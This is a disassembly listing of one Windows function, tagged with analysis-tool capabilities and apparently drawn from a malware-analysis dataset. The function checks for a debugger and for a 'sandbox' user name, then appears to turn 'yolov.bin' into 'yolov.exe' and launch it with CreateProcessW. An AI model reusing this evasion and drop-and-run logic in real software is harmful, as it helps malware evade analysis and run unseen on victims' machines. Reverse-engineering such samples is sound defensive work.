Function at 0x401ca0
Capabilities:
Check for sandbox username or hostname
Create a process with modified i/o handles and window
Create process on windows
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404a51
mov eax, dword fs:[0]
push eax
sub esp, 0x1ac
mov eax, dword [0x4ad040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
push eax
call edi
mov esi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
call esi
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
push eax
call edi
add esp, 0x10
call esi
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x4020ec
xorps xmm0, xmm0
mov dword [ebp - 0x120], eax
movups xmmword [ebp - 0x130], xmm0
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], al
mov dword [ebp - 4], eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x118], 0x101
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x401d6e
lea ecx, [ebp - 0x114]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401d52
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0x130]
call fcn.004033d0
push ecx
push str.sandbox
lea ecx, [ebp - 0x130]
call fcn.00402e10
cmp eax, 0xffffffff
jne 0x401da1
push ecx
push 0x405314
lea ecx, [ebp - 0x130]
call fcn.00402e10
mov byte [ebp - 0x1b5], 0
cmp eax, 0xffffffff
je 0x401da8
mov byte [ebp - 0x1b5], 1
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0xf
jbe 0x401deb
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401de1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401de1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00403e4f
add esp, 8
cmp byte [ebp - 0x1b5], 0
jne 0x4020ec
push str.yolov.bin
lea ecx, [ebp - 0x160]
call fcn.00401260
push str.yolov.exe
lea ecx, [ebp - 0x148]
mov dword [ebp - 4], 1
call fcn.00401260
sub esp, 8
mov byte [ebp - 4], 2
lea edx, [ebp - 0x148]
lea ecx, [ebp - 0x160]
call fcn.00401370
add esp, 8
test al, al
je 0x40205b
cmp dword [ebp - 0x134], 0xf
lea edx, [ebp - 0x148]
lea edi, [ebp - 0x148]
mov dword [ebp - 0x120], 0
cmova edx, dword [ebp - 0x148]
xorps xmm0, xmm0
add edx, dword [ebp - 0x138]
cmp dword [ebp - 0x134], 0xf
movups xmmword [ebp - 0x130], xmm0
cmova edi, dword [ebp - 0x148]
cmp edi, edx
jne 0x401ea1
mov esi, 7
xor eax, eax
mov dword [ebp - 0x11c], esi
mov word [ebp - 0x130], ax
jmp 0x401fbd
sub edx, edi
mov dword [ebp - 0x11c], 7
mov dword [ebp - 0x118], edx
cmp edx, 0x7ffffffe
ja 0x40210c
mov esi, 7
cmp edx, esi
jbe 0x401f74
mov esi, edx
or esi, 7
cmp esi, 0x7ffffffe
jbe 0x401ee7
mov eax, 0x7fffffff
mov esi, 0x7ffffffe
add eax, eax
jmp 0x401f08
mov eax, 0xa
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
cmp eax, 0x7fffffff
ja 0x402111
add eax, eax
cmp eax, 0x1000
jb 0x401f43
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x402111
push ecx
call fcn.00403bc9
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x40204b
mov edx, dword [ebp - 0x118]
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x11c], esi
jmp 0x401f7a
test eax, eax
je 0x401f64
push eax
call fcn.00403bc9
mov edx, dword [ebp - 0x118]
add esp, 4
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x11c], esi
jmp 0x401f7a
xor eax, eax
mov dword [ebp - 0x11c], esi
mov dword [ebp - 0x130], eax
jmp 0x401f7a
mov eax, dword [ebp - 0x130]
cmp esi, 7
lea ecx, [ebp - 0x130]
mov esi, edx
cmova ecx, eax
mov dword [ebp - 0x118], ecx
test edx, edx
je 0x401fa5
movsx ax, byte [edi]
lea ecx, [ecx + 2]
lea edi, [edi + 1]
mov word [ecx - 2], ax
sub esi, 1
jne 0x401f92
mov eax, dword [ebp - 0x118]
xor ecx, ecx
mov dword [ebp - 0x120], edx
mov word [eax + edx*2], cx
mov esi, dword [ebp - 0x11c]
push 0x40
lea eax, [ebp - 0x1a0]
mov byte [ebp - 4], 3
push 0
push eax
mov dword [ebp - 0x1a4], 0x44
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x1b4]
cmp esi, 7
lea eax, [ebp - 0x130]
cmova eax, dword [ebp - 0x130]
push ecx
lea ecx, [ebp - 0x1a4]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x402116
mov ecx, dword [ebp - 0x11c]
cmp ecx, 7
jbe 0x40205b
mov edx, dword [ebp - 0x130]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402051
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402051
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00403e4f
add esp, 8
mov ecx, dword [ebp - 0x134]
cmp ecx, 0xf
jbe 0x402091
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402087
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4020d8
push ecx
push edx
call fcn.00403e4f
add esp, 8
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
cmp ecx, 0xf
jbe 0x4020e8
mov edx, dword [ebp - 0x160]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4020de
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4020de
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00403e4f
add esp, 8
xor eax, eax
jmp 0x4020f1
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00403bbb
mov esp, ebp
pop ebp
ret
call fcn.004011b0
call fcn.00401110
push dword [ebp - 0x1b4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x1b0]
call esi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401c20
int3